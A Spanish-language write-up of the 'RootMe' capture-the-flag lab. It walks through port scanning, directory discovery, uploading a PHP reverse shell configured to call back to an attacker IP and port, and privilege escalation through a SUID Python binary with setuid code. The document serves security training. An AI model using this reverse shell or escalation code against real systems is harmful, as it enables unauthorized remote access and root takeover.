**MAQUINA CTF**

**ROOTME**

**1. Introducción**

En este informe, se detallan los resultados y las actividades realizadas durante la participación en el CTF de la máquina vulnerable "Rootme". El objetivo principal del CTF fue identificar vulnerabilidades, explotarlas y obtener acceso no autorizado a la máquina.

**2. Resultados del Reconocimiento**

Durante la fase de reconocimiento utilizando la herramienta Nmap, se identificaron los siguientes servicios abiertos en la máquina vulnerable "Rootme":

* Servicio SSH (22/tcp):

Estado: Abierto

Versión: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocolo 2.0)

* Servicio HTTP (80/tcp):

Estado: Abierto

Versión: Apache httpd 2.4.29 (Ubuntu)

**3. Explotación del Directorio /panel y Subida de Reverseshell**

Durante la exploración adicional utilizando la herramienta Gobuster, se descubrió el directorio oculto "/panel" en la máquina vulnerable "Rootme". Al visitar esta ruta en un navegador web, se identificó que era posible cargar archivos en dicho directorio, además y tambien se podia acceder al directorio “/uploads” para ejecutar los archivos (revershells).

***Comandos:***

***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/rockyou.txt***

Aprovechando esta funcionalidad, se realizó la subida de un archivo reverseshell en PHP con extensión .phtml en el directorio /panel. Esto permitió obtener acceso a la máquina utilizando un shell inverso.

Se utilizo el revershell que trae por defecto kali linux /usr/share/webshells/php/ phpreverse.php y se modifico esta sección

set\_time\_limit (0);

$VERSION = "1.0";

$ip = '10.10.184.54'; // CHANGE THIS

$port = 1234; // CHANGE THIS

$chunk\_size = 1400;

$write\_a = null;

$error\_a = null;

$shell = 'uname -a; w; id; /bin/bash -i';

**4. Escalada de Privilegios**

Durante el proceso de enumeración y búsqueda de posibles vulnerabilidades para escalar privilegios, se utilizó el comando find para buscar archivos con permisos de SUID (Set User ID) configurados para el usuario root. Se identificó que el archivo "/usr/bin/python" tenía permisos de SUID habilitados.

Comando utilizado:

find / -perm -u=s -type f 2>/dev/null | grep -E "/systemctl|/arp|/nano|/chmod|/ab|/agetty|/alpine|/ar|/arj|/as|/asscii-xrf|/ash|/atobm|/awk|/base32|/base64|/basenc|/basez|/bash|/bc|/bridge|/busybox|/bzip2|/cabal|/capsh|/cat|/chmod|/choom|/chown|/chroot|/cmp|/column|/comm|/cp|/cpio|/cpulimit|/csh|/zoelim|/zsh|/yash|/xz|/xxd|/xmore|/xmodmap|/xdotool|/xargs|/whiptail|/wget|/wc|/watch|/w3m|/vipw|/vimdiff|/vigr|/view|/uuencode|/uudecode|/update-alternatives|/unzip|/unshare|/uniq|/unexpand|/ul|/troff|/timeout|/time|/tic|/tftp|/tee|/tclsh|/tbl|/taskset|/tail|/tac|/systemctl|/sysctl|/strings|/strace|/stdbuf|/start-stop-daemon|/sshpass|/ssh-keyscan|/ssh-keygen|/ss|/sqlite3|/sort|/soflimit|/soelim|/shuf|/setlock|/setfacl|/sed|/scanmem|/sash|/rvim|/rview|/run-parts|/rtorrent|/rev|/restic|/readelf|/python|/ptx|/pr|/pidstat|/php|/perl|/perf|/paste|/pandoc|/openvpn|/openssl|/nohum|/node|/nmap|/nmp|/nl|/nice|/nft|/nawk|/nasm|/mv|/multitime|/msguniq|/msgmerge|/msgfilter|/msgconv|/msgcat|/msgattrib|/mosquitto|/more|/mawk|/make|/lua|/look|/logsave|/lessv|/ksshell|/ksh|/jrunscript|/jq|/join|/jss|/ispell|/ip|/ionice|/install|/iconv|/highlight|/hping3|/hexdump|/head|/hd|/gzip|/gtester|/grep|/gimp|/genisoimage|/genie|/gdb|/gcore|/gawk|/fold|/fmt|/flock|/fish|/find|/file|/expect|/expand|/espeak|/eqn|/env|/emacs|/efax|/ed|/dosbox|/docker|/dmsetup|/dig|/diff|/dialog|/curl|/cut"

Para aprovechar esta vulnerabilidad, se utilizó código Python creando un archivo para escalar los privilegios y obtener un shell con privilegios de root. El código utilizado fue el siguiente:

Codigo Python en archivo hackeo.py

python

Copy code

import os

os.setuid(0)

os.system('bash')

**5. Conclusiones**

Durante el CTF de la máquina vulnerable "Rootme", se lograron los siguientes resultados y conclusiones:

1. Se identificaron los servicios SSH y HTTP abiertos en la máquina, lo que proporcionó puntos de entrada para el análisis y la explotación.
2. Se explotó el directorio /panel para subir un archivo reverseshell en PHP, lo que permitió obtener acceso a la máquina utilizando un shell inverso.
3. Se logró una escalada de privilegios exitosa utilizando el archivo "/usr/bin/python" con permisos de SUID.

Este CTF ha sido una experiencia valiosa para adquirir conocimientos en el campo de la seguridad informática y poner en práctica técnicas de enumeración, explotación y escalada de privilegios.

**6. Recomendaciones**

Basado en los hallazgos y la explotación realizada durante el CTF, se recomienda tomar las siguientes medidas:

1. Realizar una revisión exhaustiva de los permisos y restricciones en el directorio /panel para evitar la carga y ejecución de archivos no autorizados.
2. Mantener los servicios y aplicaciones actualizados con los últimos parches de seguridad para prevenir vulnerabilidades conocidas.